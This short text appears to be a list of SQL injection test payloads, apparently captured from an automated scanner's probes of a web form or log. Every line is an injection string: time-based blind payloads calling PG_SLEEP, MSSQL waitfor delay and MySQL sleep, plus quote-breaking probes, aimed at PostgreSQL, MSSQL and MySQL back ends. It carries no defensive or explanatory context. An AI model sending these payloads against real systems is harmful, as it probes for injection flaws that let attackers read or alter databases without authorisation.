555-1)) OR 528=(SELECT 528 FROM PG_SLEEP(15))--

555-1) OR 297=(SELECT 297 FROM PG_SLEEP(15))--

555-1 OR 39=(SELECT 39 FROM PG_SLEEP(15))--

555IQiSA0Ce′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/